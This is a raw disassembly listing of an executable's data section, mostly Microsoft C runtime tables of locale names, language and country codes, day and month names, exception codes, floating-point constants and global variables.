		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_4440F8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_420920:loc_420D42o
dword_444100	dd 5Dh,	0		; DATA XREF: sub_420920:loc_420D1Do
dword_444108	dd 0FFFFFFFFh, 0A00h, 8	dup(0) ; DATA XREF: sub_41DB50:loc_41DCA6o
					; sub_41E730:loc_41E929o
dword_444130	dd 14h			; DATA XREF: sub_422F70+1Fr
off_444134	dd offset aExp		; DATA XREF: sub_422F70+2Er
					; "exp"
		dd 1Dh,	434138h, 1Ah, 434134h, 1Bh, 43412Ch, 1Fh, 434124h
		dd 13h,	43411Ch, 21h, 434114h, 0Eh, 43410Ch, 0Dh, 434104h
		dd 0Fh,	4340FCh, 10h, 4340F4h, 5, 4340ECh, 1Eh,	4340E8h
		dd 12h,	4340E4h, 20h, 4340E0h, 0Ch, 4340D8h, 0Bh, 4340D0h
		dd 15h,	4340C8h, 1Ch, 4340C0h, 19h, 4340B8h, 11h, 4340B0h
		dd 18h,	4340A8h, 16h, 4340A0h, 17h, 434098h, 22h, 434094h
		dd 23h,	434090h, 24h, 43408Ch
dbl_444208	dq 1.797693134862316e308 ; DATA	XREF: sub_422B10+E4r
					; sub_422B10:loc_422C07r ...
		dd 0
		dd 0FFF80000h
dbl_444218	dq 1.797693134862316e308 ; DATA	XREF: sub_422B10:loc_422C4Ar
					; sub_422B10+167r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_444230	dt 2.3562723457267347066e313 ; DATA XREF: sub_423360+13r
					; sub_423360+2Ar
		align 4
tbyte_44423C	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_423360+41r
		align 4
off_444248	dd offset sub_423B50	; DATA XREF: sub_4190F0+3w
					; sub_41E9B0+6ADr
off_44424C	dd offset sub_423560	; DATA XREF: sub_4190F0+Dw
					; sub_41E9B0+6F1r
off_444250	dd offset sub_423670	; DATA XREF: sub_4190F0+17w
					; sub_420920+1138r
off_444254	dd offset sub_4234B0	; DATA XREF: sub_4190F0+21w
					; sub_41E9B0+6CFr
off_444258	dd offset sub_423640	; DATA XREF: sub_4190F0+2Bw
off_44425C	dd offset sub_423B50	; DATA XREF: sub_4190F0+35w
		dd offset sub_42A780
		align 10h
off_444270	dd offset sub_424890	; DATA XREF: sub_424940+2Dr
					; sub_424940+3Dr
dword_444274	dd 43h			; DATA XREF: sub_424DC0:loc_424F2Co
					; ___:00444390o ...
dword_444278	dd 43h,	20h dup(0)	; DATA XREF: sub_425060+8Do
					; sub_425060+117o ...
dword_4442FC	dd 43h,	20h dup(0)	; DATA XREF: sub_425060+74o
					; sub_425060+FCo ...
off_444380	dd offset aLc_all	; DATA XREF: ___:00424B4Fr
					; ___:00424B68r ...
					; "LC_ALL"
dword_444384	dd 0			; DATA XREF: ___:00424A47r
					; ___:00424CF0r ...
off_444388	dd offset sub_4251F0	; DATA XREF: sub_424DC0+12Br
		dd offset aLc_collate	; "LC_COLLATE"
		dd offset dword_444274
		dd offset sub_42BD80
		dd offset aLc_ctype	; "LC_CTYPE"
off_44439C	dd offset dword_444274	; DATA XREF: sub_424F60+F0r
		dd offset sub_42B9E0
		dd offset aLc_monetary	; "LC_MONETARY"
		dd offset dword_444274
		dd offset sub_42B580
		dd offset aLc_numeric	; "LC_NUMERIC"
		dd offset dword_444274
		dd offset sub_42B250
		dd offset aLc_time	; "LC_TIME"
		dd offset dword_444274
		dd offset sub_42A8D0
dword_4443C8	dd 0C0000005h, 0Bh, 0	; DATA XREF: sub_41F950+6o
					; ___:0041FADEo ...
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_444440	dd 3			; DATA XREF: ___:00425F88r
					; ___:loc_425F9Br ...
dword_444444	dd 7			; DATA XREF: ___:00425FA1r
					; sub_427350+17Dr
dword_444448	dd 78h			; DATA XREF: ___:004271C8r
					; ___:004271E6r
dword_44444C	dd 0Ah			; DATA XREF: sub_4260B0+1Dr
					; sub_4260B0:loc_4260E2r ...
dword_444450	dd 2			; DATA XREF: sub_426B80+2Ar
					; sub_426B80+3Dr ...
off_444454	dd offset aR6002FloatingP ; DATA XREF: sub_426B80+56r
					; sub_426B80+98r ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 4344D8h, 9, 4344ACh, 0Ah,	434488h, 10h, 43445Ch
		dd 11h,	43442Ch, 12h, 434408h, 13h, 4343DCh, 18h, 4343A4h
		dd 19h,	43437Ch, 1Ah, 434344h, 1Bh, 43430Ch, 1Ch, 4342E4h
		dd 78h,	4342D4h, 79h, 4342C4h, 7Ah, 4342B4h, 0FCh, 4342B0h
		dd 0FFh, 4342A0h
dword_4444E0	dd 7080h		; DATA XREF: sub_421E20+92r
					; sub_428F10+80w ...
dword_4444E4	dd 1			; DATA XREF: sub_421E20+C2r
					; sub_428F10+BFw ...
dword_4444E8	dd 0FFFFF1F0h		; DATA XREF: sub_421E20+DEr
					; sub_428F10+D7w ...
off_4444EC	dd offset dword_545350	; DATA XREF: ___:off_44456Co
		dd 0Fh dup(0)
off_44452C	dd offset dword_544450	; DATA XREF: ___:off_444570o
		dd 0Fh dup(0)
off_44456C	dd offset off_4444EC	; DATA XREF: sub_428F10+FAr
					; sub_428F10+123r ...
off_444570	dd offset off_44452C	; DATA XREF: sub_428F10+140r
					; sub_428F10+16Ar ...
		align 8
dword_444578	dd 0FFFFFFFFh		; DATA XREF: sub_428F10+30w
					; sub_4292F0+1Ar ...
dword_44457C	dd 0			; DATA XREF: sub_4292F0:loc_4294EBr
					; sub_4292F0+20Fr ...
dword_444580	dd 0			; DATA XREF: sub_4292F0+2CFr
					; sub_4295F0+13Dw
		align 8
dword_444588	dd 0FFFFFFFFh		; DATA XREF: sub_428F10+21w
					; sub_428F10+2Br ...
dword_44458C	dd 0			; DATA XREF: sub_4292F0+201r
					; sub_4292F0+21Dr ...
dword_444590	dd 0			; DATA XREF: sub_4292F0+2E5r
					; sub_4295F0+1Dr ...
dword_444594	dd 0FFFFFFFFh		; DATA XREF: sub_4295F0+B0r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_4445C4	dd 16Dh			; DATA XREF: sub_421E20+2Er
					; sub_4295F0+2Cr ...
dword_4445C8	dd 0FFFFFFFFh		; DATA XREF: sub_4295F0+BFr
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch
dword_4445FC	dd 2694h		; DATA XREF: sub_4223E0+3r
					; ___:0042244Fr ...
dword_444600	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_42A2C0+3o
dword_444618	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_42A2E0+3o
dword_444630	dd 40Ah			; DATA XREF: sub_42C930+3Er
					; sub_42C930+147r
a040a		db '040a',0             ; DATA XREF: sub_42C930+9Ao
		align 4
off_44463C	dd offset aSpanishTraditi ; DATA XREF: sub_42C930+ABr
					; "Spanish - Traditional Sort"
off_444640	dd offset byte_505345	; DATA XREF: sub_42C930+BCo
off_444644	dd offset aSpain	; DATA XREF: sub_42C930+CDr
					; "Spain"
off_444648	dd offset byte_505345	; DATA XREF: sub_42C930+DEo
dword_44464C	dd 303538h, 0		; DATA XREF: sub_42C930+EFo
a1252		db '1252',0             ; DATA XREF: sub_42C930+100o
		align 4
		dd 40Bh, 62303430h, 0
		dd offset aFinnish	; "Finnish"
		dd offset word_4E4946
		dd offset aFinland	; "Finland"
		dd offset word_4E4946
		dd 303538h, 0
a1252_0		db '1252',0
		align 4
		dd 40Ch, 63303430h, 0
		dd offset aFrench	; "French"
		dd offset loc_415245+1
		dd offset aFrance	; "France"
		dd offset loc_415245+1
		dd 303538h, 0
a1252_1		db '1252',0
		align 4
		dd 40Fh, 66303430h, 0
		dd offset aIcelandic	; "Icelandic"
		dd offset byte_4C5349
		dd offset aIceland	; "Iceland"
		dd offset byte_4C5349
		dd 303538h, 0
a1252_2		db '1252',0
		align 10h
		dd 41Dh, 64313430h, 0
		dd offset aSwedish	; "Swedish"
		dd offset byte_455653
		dd offset aSweden	; "Sweden"
		dd offset byte_455753
		dd 303538h, 0
a1252_3		db '1252',0
		align 4
		dd 42Dh, 64323430h, 0
		dd offset aBasque	; "Basque"
		dd offset byte_515545
		dd offset aSpain	; "Spain"
		dd offset byte_505345
		dd 303538h, 0
a1252_4		db '1252',0
		align 4
		db 0Ah
		db 8,0
		align 4
a080a		db '080a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4D5345
		dd offset aMexico	; "Mexico"
		dd offset byte_58454D
		dd 303538h, 0
a1252_5		db '1252',0
		align 4
		dd 80Ch, 63303830h, 0
		dd offset aFrench	; "French"
		dd offset loc_425244+2
		dd offset aBelgium	; "Belgium"
		dd offset word_4C4542
		dd 303538h, 0
a1252_6		db '1252',0
		align 10h
		dd 0C07h, 37306330h, 0
		dd offset aGerman	; "German"
		dd offset loc_414544
		dd offset aAustria	; "Austria"
		dd offset byte_545541
		dd 303538h, 0
a1252_7		db '1252',0
		align 4
		dd 0C09h, 39306330h, 0
		dd offset aEnglish	; "English"
		dd offset loc_414E43+2
		dd offset aAustralia	; "Australia"
		dd offset aCZ@K		; "Ä–'§»@:[Š"
		dd 303538h, 0
a1252_8		db '1252',0
		align 4
		dd 0C0Ah, 61306330h, 0
		dd offset aSpanishModernS ; "Spanish - Modern Sort"
		dd offset byte_4E5345
		dd offset aSpain	; "Spain"
		dd offset byte_505345
		dd 303538h, 0
a1252_9		db '1252',0
		align 4
		dd 0C0Ch, 63306330h, 0
		dd offset aFrench	; "French"
		dd offset dword_435244+2
		dd offset aCanada	; "Canada"
		dd offset byte_4E4143
		dd 303538h, 0
a1252_10	db '1252',0
		align 10h
		dd 100Ah, 61303031h, 0
		dd offset aSpanish	; "Spanish"
		dd offset byte_475345
		dd offset aGuatemala	; "Guatemala"
		dd offset byte_4D5447
		dd 303538h, 0
a1252_11	db '1252',0
		align 4
		dd 100Ch, 63303031h, 0
		dd offset aFrench	; "French"
		dd offset aEEhQas	; "¥ì…HŸ€‘"
		dd offset aSwitzerland	; "Switzerland"
		dd offset byte_454843
		dd 303538h, 0
a1252_12	db '1252',0
		align 4
		dd 140Ah, 61303431h, 0
		dd offset aSpanish	; "Spanish"
		dd offset dword_435330+15h
		dd offset aCostaRica	; "Costa Rica"
		dd offset byte_495243
		dd 303538h, 0
a1252_13	db '1252',0
		align 4
		dd 140Ch, 63303431h, 0
		dd offset aFrench	; "French"
		dd offset word_4C5246
		dd offset aLuxembourg	; "Luxembourg"
		dd offset dword_58554C
		dd 303538h, 0
a1252_14	db '1252',0
		align 10h
		dd 180Ah, 61303831h, 0
		dd offset aSpanish	; "Spanish"
		dd offset loc_415344+1
		dd offset aPanama	; "Panama"
		dd offset dword_4E4150
		dd 303538h, 0
a1252_15	db '1252',0
		align 4
		dd 1C09h, 39306331h, 0
		dd offset aEnglish	; "English"
		dd offset byte_534E45
		dd offset aSouthAfrica	; "South Africa"
		dd offset word_46415A
		dd 373334h, 0
a1252_16	db '1252',0
		align 4
		dd 1C0Ah, 61306331h, 0
		dd offset aSpanish	; "Spanish"
		dd offset dword_445344+1
		dd offset aDominicanRepub ; "Dominican Republic"
		dd offset dword_4D4F44
		dd 303538h, 0
a1252_17	db '1252',0
		align 4
		db 0Ah
		db ' ',0
		align 4
a200a		db '200a',0
		align 10h
		dd offset aSpanish	; "Spanish"
		dd offset byte_565345
		dd offset aVenezuela	; "Venezuela"
		dd offset word_4E4556
		dd 303538h, 0
a1252_18	db '1252',0
		align 10h
		db 0Ah
		db '$',0
		align 4
a240a		db '240a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4F5345
		dd offset aColombia	; "Colombia"
		dd offset byte_4C4F43
		dd 303538h, 0
a1252_19	db '1252',0
		align 4
		db 0Ah
		db '(',0
		align 10h
a280a		db '280a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_525345
		dd offset aPeru		; "Peru"
		dd offset dword_524550
		dd 303538h, 0
a1252_20	db '1252',0
		align 4
		db 0Ah
		db ',',0
		align 4
a2c0a		db '2c0a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_535345
		dd offset aArgentina	; "Argentina"
		dd offset byte_475241
		dd 303538h, 0
a1252_21	db '1252',0
		align 4
a0		db 0Ah
		db '0',0
		align 4
a300a		db '300a',0
		align 10h
		dd offset aSpanish	; "Spanish"
		dd offset byte_465345
		dd offset aEcuador	; "Ecuador"
		dd offset byte_554345
		dd 303538h, 0
a1252_22	db '1252',0
		align 10h
a4		db 0Ah
		db '4',0
		align 4
a340a		db '340a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4C5345
		dd offset aChile	; "Chile"
		dd offset byte_4C4843
		dd 303538h, 0
a1252_23	db '1252',0
		align 4
a8		db 0Ah
		db '8',0
		align 10h
a380a		db '380a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_595345
		dd offset aUruguay	; "Uruguay"
		dd offset byte_595255
		dd 303538h, 0
a1252_24	db '1252',0
		align 4
		db 0Ah
		db '<',0
		align 4
a3c0a		db '3c0a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_5A5345
		dd offset aParaguay	; "Paraguay"
		dd offset dword_595250
		dd 303538h, 0
a1252_25	db '1252',0
		align 4
word_444AD4	dw 0C0Ch, 0C1Ah, 1007h,	436h, 80Ch, 42Dh, 403h,	100Ch
					; DATA XREF: sub_42C800+34r
		dw 810h, 81Dh
off_444AE8	dd offset aAmerica	; DATA XREF: sub_42BE10+9Co
					; "america"
		dd offset loc_415353+2
		dd offset aBritain	; "britain"
		dd offset aAvaSx+3
		dd offset aChina	; "china"
		dd offset byte_4E4843
		dd offset aCzech	; "czech"
		dd offset byte_455A43
		dd offset aEngland	; "england"
		dd offset aAvaSx+3
		dd offset aGreatBritain	; "great britain"
		dd offset aAvaSx+3
		dd offset aHolland	; "holland"
		dd offset word_444C4E
		dd offset aHongKong	; "hong-kong"
		dd offset dword_474B48
		dd offset aNewZealand	; "new-zealand"
		dd offset word_4C5A4E
		dd offset aNz		; "nz"
		dd offset word_4C5A4E
		dd offset aPrChina_0	; "pr china"
		dd offset byte_4E4843
		dd offset aPrChina	; "pr-china"
		dd offset byte_4E4843
		dd offset aPuertoRico	; "puerto-rico"
		dd offset dword_495250
		dd offset aSlovak	; "slovak"
		dd offset byte_4B5653
		dd offset aSouthAfrica_1 ; "south africa"
		dd offset word_46415A
		dd offset aSouthKorea_0	; "south korea"
		dd offset aIty		; "\"ØI’y"
		dd offset aSouthAfrica_0 ; "south-africa"
		dd offset word_46415A
		dd offset aSouthKorea	; "south-korea"
		dd offset aIty		; "\"ØI’y"
		dd offset aTrinidadTobago ; "trinidad &	tobago"
		dd offset dword_4F5454
		dd offset aUk		; "uk"
		dd offset aAvaSx+3
		dd offset aUnitedKingdom ; "united-kingdom"
		dd offset aAvaSx+3
		dd offset aUnitedStates	; "united-states"
		dd offset loc_415353+2
		dd offset aUs		; "us"
		dd offset loc_415353+2
off_444BA0	dd offset aAmerican	; DATA XREF: sub_42BE10+67o
					; "american"
		dd offset byte_554E45
		dd offset aAmericanEngl_0 ; "american english"
		dd offset byte_554E45
		dd offset aAmericanEnglis ; "american-english"
		dd offset byte_554E45
		dd offset aAustralian	; "australian"
		dd offset loc_414E43+2
		dd offset aBelgian	; "belgian"
		dd offset loc_424C4C+2
		dd offset aCanadian	; "canadian"
		dd offset aMonday+5
		dd offset aChh		; "chh"
		dd offset word_48485A
		dd offset aChi		; "chi"
		dd offset word_49485A
		dd offset aChinese	; "chinese"
		dd offset aYkdB		; "µyKD(b"
		dd offset aChineseHongkon ; "chinese-hongkong"
		dd offset word_48485A
		dd offset aChineseSimplif ; "chinese-simplified"
		dd offset aYkdB		; "µyKD(b"
		dd offset aChineseSingapo ; "chinese-singapore"
		dd offset word_49485A
		dd offset aChineseTraditi ; "chinese-traditional"
		dd offset byte_544843
		dd offset aDutchBelgian	; "dutch-belgian"
		dd offset loc_424C4C+2
		dd offset aEnglishAmerica ; "english-american"
		dd offset byte_554E45
		dd offset aEnglishAus	; "english-aus"
		dd offset loc_414E43+2
		dd offset aEnglishBelize ; "english-belize"
		dd offset byte_4C4E45
		dd offset aEnglishCan	; "english-can"
		dd offset aMonday+5
		dd offset aEnglishCaribbe ; "english-caribbean"
		dd offset loc_424E42+3
		dd offset aEnglishIre	; "english-ire"
		dd offset byte_494E45
		dd offset aEnglishJamaica ; "english-jamaica"
		dd offset byte_4A4E45
		dd offset aEnglishNz	; "english-nz"
		db 45h,	4Eh
word_444C4E	dw 5Ah			; DATA XREF: ___:00444B1Co
		dd offset aEnglishSouthAf ; "english-south africa"
		dd offset byte_534E45
		dd offset aEnglishTrinida ; "english-trinidad y	tobago"
		dd offset byte_544E45
		dd offset aEnglishUk	; "english-uk"
		dd offset byte_474E45
		dd offset aEnglishUs	; "english-us"
		dd offset byte_554E45
		dd offset aEnglishUsa	; "english-usa"
		dd offset byte_554E45
		dd offset aFrenchBelgian ; "french-belgian"
		dd offset loc_425244+2
		dd offset aFrenchCanadian ; "french-canadian"
		dd offset dword_435244+2
		dd offset aFrenchLuxembou ; "french-luxembourg"
		dd offset word_4C5246
		dd offset aFrenchSwiss	; "french-swiss"
		dd offset aEEhQas	; "¥ì…HŸ€‘"
		dd offset aGermanAustrian ; "german-austrian"
		dd offset loc_414544
		dd offset aGermanLichtens ; "german-lichtenstein"
		dd offset aMicrosoftVis_0+18h
		dd offset aGermanLuxembou ; "german-luxembourg"
		dd offset dword_4C4544
		dd offset aGermanSwiss	; "german-swiss"
		dd offset dword_534544
		dd offset aIrishEnglish	; "irish-english"
		dd offset byte_494E45
		dd offset aItalianSwiss	; "italian-swiss"
		dd offset byte_535449
		dd offset aNorwegian	; "norwegian"
		dd offset aIty+3
		dd offset aNorwegianBokma ; "norwegian-bokmal"
		dd offset aIty+3
		dd offset aNorwegianNynor ; "norwegian-nynorsk"
		dd offset word_4E4F4E
		dd offset aPortugueseBraz ; "portuguese-brazilian"
		dd offset loc_42544F+1
		dd offset aSpanishArgenti ; "spanish-argentina"
		dd offset byte_535345
		dd offset aSpanishBolivia ; "spanish-bolivia"
		dd offset loc_425343+2
		dd offset aSpanishChile	; "spanish-chile"
		dd offset byte_4C5345
		dd offset aSpanishColombi ; "spanish-colombia"
		dd offset byte_4F5345
		dd offset aSpanishCostaRi ; "spanish-costa rica"
		dd offset dword_435330+15h
		dd offset aSpanishDominic ; "spanish-dominican republic"
		dd offset dword_445344+1
		dd offset aSpanishEcuador ; "spanish-ecuador"
		dd offset byte_465345
		dd offset aSpanishElSalva ; "spanish-el	salvador"
		dd offset byte_455345
		dd offset aSpanishGuatema ; "spanish-guatemala"
		dd offset byte_475345
		dd offset aSpanishHondura ; "spanish-honduras"
		dd offset byte_485345
		dd offset aSpanishMexican ; "spanish-mexican"
		dd offset byte_4D5345
		dd offset aSpanishModern ; "spanish-modern"
		dd offset byte_4E5345
		dd offset aSpanishNicarag ; "spanish-nicaragua"
		dd offset byte_495345
		dd offset aSpanishPanama ; "spanish-panama"
		dd offset loc_415344+1
		dd offset aSpanishParagua ; "spanish-paraguay"
		dd offset byte_5A5345
		dd offset aSpanishPeru	; "spanish-peru"
		dd offset byte_525345
		dd offset aSpanishPuertoR ; "spanish-puerto rico"
		dd offset aVsL		; "VéÚl"
		dd offset aSpanishUruguay ; "spanish-uruguay"
		dd offset byte_595345
		dd offset aSpanishVenezue ; "spanish-venezuela"
		dd offset byte_565345
		dd offset aSwedishFinland ; "swedish-finland"
		dd offset byte_465653
		dd offset aSwiss	; "swiss"
		dd offset dword_534544
		dd offset aUk		; "uk"
		dd offset byte_474E45
		dd offset aUs		; "us"
		dd offset byte_554E45
		dd offset aUsa		; "usa"
		dd offset byte_554E45
off_444DA8	dd offset off_444DB0	; DATA XREF: sub_42A8D0+70w
					; sub_42A8D0:loc_42A971w ...
		align 10h
off_444DB0	dd offset aSun		; DATA XREF: sub_42A8D0:loc_42A971o
					; ___:off_444DA8o
					; "Sun"
		dd offset aMon		; "Mon"
		dd offset aTue		; "Tue"
		dd offset aWed		; "Wed"
		dd offset aThu		; "Thu"
		dd offset aFri		; "Fri"
		dd offset aSat		; "Sat"
		dd offset aSunday	; "Sunday"
		dd offset aMonday	; "Monday"
		dd offset aTuesday	; "Tuesday"
		dd offset aWednesday	; "Wednesday"
		dd offset aThursday	; "Thursday"
		dd offset aFriday	; "Friday"
		dd offset aSaturday	; "Saturday"
		dd offset aJan		; "Jan"
		dd offset aFeb		; "Feb"
		dd offset aMar		; "Mar"
		dd offset aApr		; "Apr"
		dd offset aMay		; "May"
		dd offset aJun		; "Jun"
		dd offset aJul		; "Jul"
		dd offset aAug		; "Aug"
		dd offset aSep		; "Sep"
		dd offset aOct		; "Oct"
		dd offset aNov		; "Nov"
		dd offset aDec		; "Dec"
		dd offset aJanuary	; "January"
		dd offset aFebruary	; "February"
		dd offset aMarch	; "March"
		dd offset aApril	; "April"
		dd offset aMay		; "May"
		dd offset aJune		; "June"
		dd offset aJuly		; "July"
		dd offset aAugust	; "August"
		dd offset aSeptember	; "September"
		dd offset aOctober	; "October"
		dd offset aNovember	; "November"
		dd offset dword_434D40+34h
		dd offset dword_434D40+30h
		dd offset dword_434D40+2Ch
		dd offset dword_434D40+24h
		dd offset dword_434D40+10h
		dd offset dword_434D40+8
		align 10h
dword_444E60	dd 2Eh,	0		; DATA XREF: sub_42B250+EEo
					; ___:off_444E68o
off_444E68	dd offset dword_444E60	; DATA XREF: sub_42B580+D4w
					; sub_42B580+F6o ...
off_444E6C	dd offset dword_4DB438	; DATA XREF: sub_42B580+E2w
off_444E70	dd offset dword_4DB438	; DATA XREF: sub_42B580+F1w
		dd offset dword_4DB438
		dd offset dword_4DB438
		dd offset dword_4DB438
		dd offset dword_4DB438
		dd offset dword_4DB438
		dd offset dword_4DB438
		dd offset dword_4DB438
		dd 2 dup(7F7F7F7Fh)
off_444E98	dd offset off_444E68	; DATA XREF: sub_42B250:loc_42B339r
					; sub_42B250+F8r ...
		align 10h
dword_444EA0	dd 2 dup(0)		; DATA XREF: sub_4306E0+6o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_445000	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_4306E0+2Ao
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_445160	dd offset off_434FB8	; DATA XREF: ___:off_434FE0o
					; ___:0043510Co ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_445178	dd offset off_434FB8	; DATA XREF: ___:off_434FF8o
					; ___:0043503Co ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_445198	dd offset off_434FB8	; DATA XREF: ___:off_435048o
					; ___:0043508Co ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_4451B8	dd offset off_434FB8	; DATA XREF: ___:off_435098o
					; ___:004350DCo ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_4451D8	dd offset off_434FB8	; DATA XREF: ___:off_435118o
					; ___:00435154o
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42A780
		align 8
dword_4451F8	dd 2 dup(0)		; DATA XREF: sub_401317+C8o
dword_445200	dd 0			; DATA XREF: sub_401317+62o
dword_445204	dd 0			; DATA XREF: sub_4014E0+4A7w
					; sub_4014E0+4EBr
dword_445208	dd 0			; DATA XREF: sub_4014E0+65w
					; sub_413426+166r
dword_44520C	dd 0			; DATA XREF: sub_4014E0+80Bw
					; sub_4014E0+880r ...
dword_445210	dd 0			; DATA XREF: sub_4014E0+9D8w
					; sub_4014E0+A43r ...
dword_445214	dd 0			; DATA XREF: sub_4014E0+98Aw
					; sub_4014E0+A13r ...
dword_445218	dd 0			; DATA XREF: sub_4014E0+48Dw
					; sub_4014E0+4DBr
dword_44521C	dd 0			; DATA XREF: sub_4014E0+213w
					; sub_4014E0+234r
dword_445220	dd 0			; DATA XREF: sub_4014E0+9CBw
					; sub_4014E0+A3Br ...
dword_445224	dd 0			; DATA XREF: sub_4014E0+372w
					; sub_4014E0+3C7r ...
dword_445228	dd 0			; DATA XREF: sub_4014E0+40Fw
					; sub_414129+11Er
dword_44522C	dd 0			; DATA XREF: sub_4014E0+37Fw
					; sub_4014E0+3CFr ...
dword_445230	dd 0			; DATA XREF: sub_4014E0+3C0w
					; sub_412A14+ADr
dword_445234	dd 0			; DATA XREF: sub_4014E0+55Aw
					; sub_40D8F7+115r ...
dword_445238	dd 0			; DATA XREF: sub_4014E0+72w
					; sub_4014E0+D2r ...
dword_44523C	dd 0			; DATA XREF: sub_4014E0+97Dw
					; sub_4014E0+A06r ...
dword_445240	dd 0			; DATA XREF: sub_4014E0+3A6w
					; sub_4014E0+3E7r ...
dword_445244	dd 0			; DATA XREF: sub_4014E0+859w
					; sub_4014E0+8ACr ...
dword_445248	dd 0			; DATA XREF: sub_4014E0+2A5w
					; sub_4014E0+2F0r
dword_44524C	dd 0			; DATA XREF: sub_4014E0+84Cw
					; sub_4014E0+8A4r ...
dword_445250	dd 0			; DATA XREF: sub_4014E0+B3w
dword_445254	dd 0			; DATA XREF: sub_4014E0+866w
					; sub_4014E0+8B4r ...
dword_445258	dd 0			; DATA XREF: sub_4014E0+54Dw
					; sub_4014E0+6D0r ...
dword_44525C	dd 0			; DATA XREF: sub_4014E0+58w
					; sub_4014E0+CAr ...
